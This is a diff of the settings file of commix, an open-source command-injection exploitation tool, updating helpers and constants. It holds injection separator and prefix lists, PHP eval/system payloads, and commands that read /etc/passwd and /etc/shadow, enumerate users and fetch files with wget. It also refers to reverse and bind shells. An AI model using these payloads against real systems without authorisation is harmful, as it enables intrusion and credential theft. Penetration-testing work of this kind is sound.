DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT -CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: " +CHECK_SIGN = DEBUG_SIGN + "Checking for a valid pair of HTTP authentication credentials: " +OS_SHELL_TITLE = Style.BRIGHT + "Pseudo-Terminal Shell (type '?' for available options)" + Style.RESET_ALL +OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """ +REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """ +BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """ + +def print_time(): + return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " + +# Print execution status +def execution(status): + debug_msg = status + " " + APPLICATION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL + +# Print legal disclaimer message +def print_legal_disclaimer_msg(legal_disclaimer_msg): + result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL + return result # Print error message def print_error_msg(err_msg): - result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + ERROR_SIGN + str(err_msg) + Style.RESET_ALL + return result + +# Print error message +def print_bold_error_msg(err_msg): + result = print_time() + ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL return result # Print critical error message def print_critical_msg(err_msg): - result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL + result = print_time() + CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL return result # Print abortion message def print_abort_msg(abort_msg): - result = ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL + result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL return result # Print warning message def print_warning_msg(warn_msg): - result = WARNING_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL return result # Print warning message def print_bold_warning_msg(warn_msg): - result = WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL + result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL return result -# Print legal disclaimer message -def print_legal_disclaimer_msg(legal_disclaimer_msg): - result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL +# Print debug message (verbose mode) +def print_debug_msg(debug_msg): + result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL + return result + +# Print bold debug message (verbose mode) +def print_bold_debug_msg(debug_msg): + result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL return result # Print request HTTP message def print_request_msg(req_msg): - result = REQUEST_SIGN + str(req_msg) + Style.RESET_ALL + result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL return result # Print response HTTP message def print_response_msg(resp_msg): - result = RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL + result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL return result # Print information message def print_info_msg(info_msg): - result = INFO_SIGN + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL return result # Print bold information message def print_bold_info_msg(info_msg): - result = INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL return result # Print payload (verbose mode) def print_payload(payload): - result = PAYLOAD_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL return result # Print HTTP traffic (verbose mode) @@ -137,12 +190,12 @@ def print_http_response_content(content): # Print checking message (verbose mode) def print_checking_msg(payload): - result = CHECK_SIGN + str(payload) + Style.RESET_ALL + result = print_time() + CHECK_SIGN + str(payload) + Style.RESET_ALL return result # Print question message -def print_question_msg(question_msg): - result = QUESTION_SIGN + question_msg + Style.RESET_ALL +def print_message(message): + result = QUESTION_SIGN + message + Style.RESET_ALL return result # Print sub content message @@ -150,58 +203,51 @@ def print_sub_content(sub_content): result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL return result -# Print debug message (verbose mode) -def print_debug_msg(debug_msg): - result = DEBUG_SIGN + debug_msg + Style.RESET_ALL - return result +# Print sub content message +def print_retrieved_data(cmd, retrieved): + result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + cmd + ": " + str(retrieved) + Style.RESET_ALL + return result -# Print bold debug message (verbose mode) -def print_bold_debug_msg(debug_msg): - result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL - return result +# Print output of command execution +def command_execution_output(shell): + result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + return result + +""" +Print data to stdout +""" +def print_data_to_stdout(data): + if END_LINE.CR not in data and data != "." and data != " (done)": + data = data + END_LINE.LF + sys.stdout.write(data) + sys.stdout.flush() -# argv checks -def sys_argv_checks(): - tamper_index = None - for i in xrange(len(sys.argv)): - # Disable coloring - if sys.argv[i] == "--disable-coloring": - from src.utils import colors - colors.ENABLE_COLORING = False - """ - Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) - [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae - """ - if sys.argv[i].startswith("--tamper"): - if tamper_index is None: - tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) - else: - sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) - sys.argv[i] = "" -# argv input errors +""" +argv input errors +""" def sys_argv_errors(): _reload_module(sys) try: # Fix for Python 2.7 - sys.setdefaultencoding(UNICODE_ENCODING) + sys.setdefaultencoding(DEFAULT_CODEC) except AttributeError: pass for i in xrange(len(sys.argv)): # Check for illegal (non-console) quote characters. if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])): err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for illegal (non-console) comma characters. elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]: err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for potentially miswritten (illegal '=') short option. elif re.search(r"\A-\w=.+", sys.argv[i]): err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # argv checks @@ -215,17 +261,21 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.4" -REVISION = "2" +VERSION_NUM = "4.1" +REVISION = "37" STABLE_RELEASE = False +VERSION = "v" if STABLE_RELEASE: - VERSION = "v" + VERSION_NUM + "-stable" + VERSION = VERSION + VERSION_NUM + COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = "v" + VERSION_NUM + "-dev#" + REVISION -YEAR = "2014-2021" -AUTHOR_TWITTER = "@ancst" -APPLICATION_URL = "https://commixproject.com" -APPLICATION_TWITTER = "@commixproject" + VERSION = VERSION + VERSION_NUM + ".dev" + REVISION + COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL + +YEAR = "2014-2025" +AUTHOR_X_ACCOUNT = "@ancst" +APPLICATION_URL = "https://commixproject.com" +APPLICATION_X_ACCOUNT = "@commixproject" # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" @@ -237,32 +287,95 @@ def sys_argv_errors(): # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) +# Random variable name +RANDOM_VAR_GENERATOR = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) -# Readline +START_TIME = time.time() + +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + +# Readline READLINE_ERROR = False +# User-applied operating system command +USER_APPLIED_CMD = "" + # Random Tag -RANDOM_TAG = "" +RANDOM_TAG = "" -if RANDOM_TAG == "" : +if RANDOM_TAG == "" : RANDOM_TAG = RANDOM_STRING_GENERATOR # Proxy PROXY_REGEX = r"((http[^:]*)://)?([\w\-.]+):(\d+)" +# Auth Credentials format +AUTH_CRED_REGEX = r"^(.*?):(.*?)$" + # Inject Tag INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +INJECT_INSIDE_BOUNDARIES = None + +# Default (windows) target host's python interpreter +WIN_PYTHON_INTERPRETER = "python.exe" +WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" +USER_DEFINED_PYTHON_DIR = False + +# Default (linux) target host's python interpreter +LINUX_PYTHON_INTERPRETER = "python3" +LINUX_CUSTOM_PYTHON_INTERPRETER = "python27" +USER_DEFINED_PYTHON_INTERPRETER = False + +CMD_NUL = "" + +CMD_SUB_PREFIX = "$(" +CMD_SUB_SUFFIX = ")" + +# Maybe a WAF/IPS protection. +WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" +WAF_ENABLED = False + +class HEURISTIC_TEST(object): + POSITIVE = True + +#Basic heuristic checks for command injections +RAND_A = random.randint(1,10000) +RAND_B = random.randint(1,10000) +CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) +BASIC_STRING = "" +BASIC_COMMAND_INJECTION_PAYLOADS = [] +ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "%26echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "|echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + RANDOM_STRING_GENERATOR, + "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + ] +BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) +IDENTIFIED_COMMAND_INJECTION = False #Basic heuristic checks for code injection warnings or... phpinfo page ;) -PHPINFO_PAYLOAD = "eval(phpinfo())" -PHPINFO_CHECK_PAYLOADS = ["print(" + PHPINFO_PAYLOAD + ")", - "test)'}" + PHPINFO_PAYLOAD + "'#", - "'." + PHPINFO_PAYLOAD + ".'", - "{${" + PHPINFO_PAYLOAD + "}}", - "\\\\/{${" + PHPINFO_PAYLOAD + "}}\\/\\" - ] +PHPINFO_PAYLOAD = "phpinfo()" + +PHP_EXEC_FUNCTIONS = [ "" + PHPINFO_PAYLOAD + "", + "exec(" + PHPINFO_PAYLOAD + ")", + "eval(" + PHPINFO_PAYLOAD + ")", + "system(" + PHPINFO_PAYLOAD + ")" +] + +PHPINFO_CHECK_PAYLOADS = [ + [".print(" + x + ")" for x in PHP_EXEC_FUNCTIONS], + [")'}" + x + "'#" for x in PHP_EXEC_FUNCTIONS], + ["'." + x + ".'" for x in PHP_EXEC_FUNCTIONS], + ["{${" + x + "}}" for x in PHP_EXEC_FUNCTIONS], + ["\\\\/{${" + x + "}}\\/\\" for x in PHP_EXEC_FUNCTIONS] +] + +PHPINFO_CHECK_PAYLOADS = [x for payload in PHPINFO_CHECK_PAYLOADS for x in payload] # Executed phpinfo() IDENTIFIED_PHPINFO = False @@ -270,30 +383,56 @@ def sys_argv_errors(): # Code injection warnings IDENTIFIED_WARNINGS = False -CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort", "assert", "preg_replace"] +CODE_INJECTION_WARNINGS = ["eval()'d code", "runtime-created function", "usort()", "assert()", "preg_replace()"] SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -# User-defined stored post data. +USER_DEFINED_URL_DATA = False +# User-defined stored POST data. USER_DEFINED_POST_DATA = "" - -# The wildcard character -WILDCARD_CHAR = "*" - -# Testable parameter(s) - comma separated. -TEST_PARAMETER = "" - -# Skip testing for given parameter(s) - comma separated. +# Ignore user-defined stored POST data. +IGNORE_USER_DEFINED_POST_DATA = False + +# Custom injection marker +CUSTOM_INJECTION_MARKER_CHAR = "*" +CUSTOM_INJECTION_MARKER = False +ASTERISK_MARKER = "__ASTERISK__" +CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +POST_CUSTOM_INJECTION_MARKER_CHAR = "" + +class INJECTION_MARKER_LOCATION(object): + URL = False + DATA = False + COOKIE = False + HTTP_HEADERS = False + CUSTOM_HTTP_HEADERS = False + +SKIP_NON_CUSTOM = None + +# Testable parameter(s) - comma separated. +TESTABLE_PARAMETERS_LIST = [] +TESTABLE_PARAMETERS = None +NOT_TESTABLE_PARAMETERS = True + +# Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" # Use a proxy to connect to the target URL. SCHEME = "" +class OS(object): + UNIX = "unix" + WINDOWS = "windows" + # Default target host OS (Unix-like) -TARGET_OS = "unix" +TARGET_OS = OS.UNIX -# Verbosity level: 0-1 (default 0) +IDENTIFIED_TARGET_OS = False +IGNORE_IDENTIFIED_OS = None + +# Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 # Local HTTP server ip @@ -302,7 +441,11 @@ def sys_argv_errors(): # Local HTTP server port LOCAL_HTTP_PORT = random.randint(50000,60000) +HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) +DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") + # Detection / Exploitation phase(s) +WAF_DETECTION_PHASE = False DETECTION_PHASE = False EXPLOITATION_PHASE = False @@ -312,13 +455,17 @@ def sys_argv_errors(): TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False -TIME_RELATIVE_ATTACK = False +TIME_RELATED_ATTACK = False # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" +# The name of the operating system dependent module imported. +PLATFORM = os.name +IS_WINDOWS = PLATFORM == "nt" + # Check if OS is Windows. -IS_WINDOWS = hasattr(sys, "getwindowsversion") +#IS_WINDOWS = hasattr(sys, "getwindowsversion") # Git URL. GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git" @@ -326,8 +473,10 @@ def sys_argv_errors(): # Git issue URL. ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new" +COMMIX_ROOT_PATH = os.path.abspath(os.curdir) + # Output Directory -OUTPUT_DIR = ".output/" +OUTPUT_DIR = ".output/" # Output file name OUTPUT_FILE_NAME = "logs" @@ -336,8 +485,10 @@ def sys_argv_errors(): OUTPUT_FILE_EXT = ".txt" OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT -# Max Length. -MAXLEN = "10000" +# Max Length for command execution output. +MAXLEN = 10000 + +STDIN_PARSING = False # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 @@ -346,55 +497,95 @@ def sys_argv_errors(): SLOW_TARGET_RESPONSE = 3 # The testable parameter. -TESTABLE_PARAMETER = "" +TESTABLE_PARAMETER = "" + +TESTABLE_VALUE = "" # The HTTP header name. HTTP_HEADER = "" -# The command injection prefixes. -PREFIXES = ["", " ", "'", "\"", "&", "%26", "|", "%7C", "%27", "%22", "'%26"] +EXTRA_HTTP_HEADERS = False # The command injection separators. -SEPARATORS = ["", ";", "%3B", "&", "%26", "%1a", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", "%0a", "%0d%0a"] +SEPARATORS = [] +DEFAULT_SEPARATORS = [";", "%26", "|", ""] +SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] +SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS +SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 + +# The command injection prefixes. +PREFIXES = [] +PREFIXES_LVL1 = [""] +PREFIXES_LVL2 = PREFIXES_LVL1 + SEPARATORS_LVL1 +PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""] # The command injection suffixes. -SUFFIXES = ["", "'", "\"", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", " #", "//", "\\\\", "%26'", "%27", "%22", "%5C%5C", "%2F%2F"] +SUFFIXES = [] +SUFFIXES_LVL1 = [""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + SEPARATORS_LVL1 +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"] # Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] +JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] # Execution functions -EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] - -# The code injection prefixes. -EVAL_PREFIXES = [".", "", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"] +EXECUTION_FUNCTIONS = [] +EXECUTION_FUNCTIONS_LVL1 = ["exec"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["system", "shell_exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["passthru", "proc_open", "popen"] # The code injection separators. -EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"] +EVAL_SEPARATORS = [] +EVAL_SEPARATORS_LVL1 = [""] +EVAL_SEPARATORS_LVL2 = EVAL_SEPARATORS_LVL1 + ["%0a"] +EVAL_SEPARATORS_LVL3 = EVAL_SEPARATORS_LVL2 + ["%0d%0a"] + +# The code injection prefixes. +EVAL_PREFIXES = [] +EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] +EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] +EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. -EVAL_SUFFIXES = ["", "}}", ".\"", ".'", "", "\\\\", "//", "#", ")}"] +EVAL_SUFFIXES = [] +EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"] +EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] +EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] -# The default (url-ecoded) white-space. -WHITESPACES = ["%20"] +# Raw payload (without tampering) +RAW_PAYLOAD = "" +# Single whitespace SINGLE_WHITESPACE = " " +# The default (url-ecoded) white-space. +WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] + # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" # Seconds to delay between each HTTP request. DELAY = 0 -# Seconds to delay the OS response. (Default 1) -TIMESEC = 1 +# Seconds to delay the OS response. +TIMESEC = 0 + +# Seconds to delay between each HTTP retry. +DELAY_RETRY = 1 -#Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) +INJECTION_LEVEL = 0 +USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True +# Start scanning state +START_SCANNING = None + # Default Temp Directory TMP_PATH = "" @@ -418,22 +609,23 @@ def sys_argv_errors(): # Current user CURRENT_USER = "whoami" -WIN_CURRENT_USER = "echo %username%" +WIN_CURRENT_USER = "echo %USERNAME%" # The hostname HOSTNAME = "hostname" -WIN_HOSTNAME = "echo %computername%" +WIN_HOSTNAME = "echo %COMPUTERNAME%" -# Check if current user is root +# Check if Current user is privileged +# Unix-like: root IS_ROOT = "echo $(id -u)" -# Check if current user is admin +# Windows: admin IS_ADMIN = "powershell.exe -InputFormat none [Security.Principal.WindowsBuiltinRole]::Administrator" # Operation System. RECOGNISE_OS = "uname -s" WIN_RECOGNISE_OS = "ver" -# Distribution Description / Release +# Distribution Description / Release DISTRO_INFO = "echo $(lsb_release -sir)" # Hardware platform. @@ -443,10 +635,18 @@ def sys_argv_errors(): # File System access options # Read file FILE_READ = "cat " -WIN_FILE_READ = "type " +FILE_WRITE_OPERATOR = " > " +WIN_FILE_WRITE_OPERATOR = "powershell.exe Set-Content " +WIN_FILE_READ = "powershell.exe get-Content " + +# List file +FILE_LIST = "ls " +FILE_LIST_WIN = "powershell.exe Test-Path -Path " + +CERTUTIL_DECODE_CMD = "certutil -decode " # Write file -FILE_WRITE = "echo " +FILE_WRITE = "printf " # Write file FILE_UPLOAD = "wget " @@ -454,37 +654,55 @@ def sys_argv_errors(): # /etc/passwd PASSWD_FILE = "/etc/passwd" -SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE -EVAL_SYS_USERS = "awk -F ':' '{print \$1}{print \$3}{print \$6}' " + PASSWD_FILE +SYS_USERS = EVAL_SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE # Exports users of localgroup -WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)])" +WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" +DEFAULT_WIN_USERS = ["Administrator", "DefaultAccount", "Guest"] # /etc/shadow SHADOW_FILE = "/etc/shadow" -SYS_PASSES = FILE_READ + SHADOW_FILE +SYS_PASSES = FILE_READ + SHADOW_FILE + +WIN_REPLACE_WHITESPACE = r"-replace('\s+',' '))" # Accepts 'YES','YE','Y','yes','ye','y' CHOICE_YES = ['YES','YE','Y','yes','ye','y'] # Accepts 'NO','N','no','n' -CHOICE_NO = ['NO','N','no','n'] +CHOICE_NO = ['NO','no','N','n'] # Accepts 'QUIT','Q','quit','q' -CHOICE_QUIT = ['QUIT','Q','quit','q'] +CHOICE_QUIT = ['QUIT','quit','Q','q'] # Accepts 'W','w','U','u','Q','q' -CHOICE_OS = ['W','w','U','u','Q','q'] +CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','a','A','n','N' -CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] +# Accepts 'C','c','S','s','Q','q','A','a' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] # Available alternative shells AVAILABLE_SHELLS = ["python"] # Available injection techniques. -AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] - +AVAILABLE_TECHNIQUES = ['c','e','t','f'] + +# Supported injection types +class INJECTION_TYPE(object): + RESULTS_BASED_CI = "results-based OS command injection" + RESULTS_BASED_CE = "results-based dynamic code evaluation" + BLIND = "blind OS command injection" + SEMI_BLIND = "semi-blind OS command injection" + +# Supported injection techniques +class INJECTION_TECHNIQUE(object): + CLASSIC = "classic command injection technique" + DYNAMIC_CODE = "dynamic code evaluation technique" + TIME_BASED = "time-based command injection technique" + FILE_BASED = "file-based command injection technique" + TEMP_FILE_BASED = "tempfile-based injection technique" + +USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List @@ -510,7 +728,7 @@ def sys_argv_errors(): "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34", - # Oldies + # Oldies "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)", @@ -535,13 +753,16 @@ def sys_argv_errors(): # Default Scheme SCHEME = "" -# Privoxy Proxy -PRIVOXY_IP = "127.0.0.1" -PRIVOXY_PORT = "8118" +# TOR HTTP Proxy +TOR_HTTP_PROXY_IP = "127.0.0.1" +TOR_HTTP_PROXY_PORT = "8118" +TOR_HTTP_PROXY_SCHEME = "https" +CHECK_TOR_PAGE = "https://check.torproject.org/" # Cookie injection -COOKIE_INJECTION = False +COOKIE_INJECTION = None +HTTP_HEADERS_INJECTION = None # User-Agent injection USER_AGENT_INJECTION = None @@ -553,10 +774,13 @@ def sys_argv_errors(): # Custom HTTP Headers injection CUSTOM_HEADER_INJECTION = False -CUSTOM_HEADER_NAME = "" +CUSTOM_HEADERS_NAMES = [] +CUSTOM_HEADER_CHECK = "" +CUSTOM_HEADER_NAME = "" +CUSTOM_HEADER_VALUE = "" # Valid URL format check -VALID_URL_FORMAT = "https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" +VALID_URL_FORMAT = r"https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" VALID_URL = True @@ -564,6 +788,7 @@ def sys_argv_errors(): SHELL_OPTIONS = [ "?", "quit", + "exit", "back", "os_shell", "reverse_tcp", @@ -584,21 +809,21 @@ def sys_argv_errors(): COOKIE_DELIMITER = ";" # Split parameter value -PARAMETER_SPLITTING_REGEX = r'[,]' +PARAMETER_SPLITTING_REGEX = "," # Cookie delimiter PARAMETER_DELIMITER = "&" -UNICODE_ENCODING = "utf8" +DEFAULT_CODEC = "utf8" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: - DEFAULT_PAGE_ENCODING = UNICODE_ENCODING + DEFAULT_PAGE_ENCODING = DEFAULT_CODEC -# Character Sets List. +# Character Sets List. # A complete list of the standard encodings Python supports. ENCODING_LIST = [ "iso-8859-1", @@ -696,8 +921,10 @@ def sys_argv_errors(): "utf-8-sig" ] -# Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate" +HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json" +HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml" +DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded" # Default server banner SERVER_BANNER = "" @@ -716,7 +943,7 @@ def sys_argv_errors(): # Server banners list SERVER_OS_BANNERS = [ - r"(Microsoft|Windows|Win32)", + r"(Microsoft|Windows|Win[\w\.]+)", "Debian", "Ubuntu", "Fedora", @@ -730,30 +957,30 @@ def sys_argv_errors(): "Gentoo", r"Mac[\-\_\ ]?OSX", r"Red[\-\_\ ]?Hat", - "Unix" + "Unix", ] # Extensions skipped by crawler CRAWL_EXCLUDE_EXTENSIONS = [ - "3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", - "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", - "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", - "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", - "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", - "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", - "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", - "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", - "ppt", "pptx", "ps", "psd", 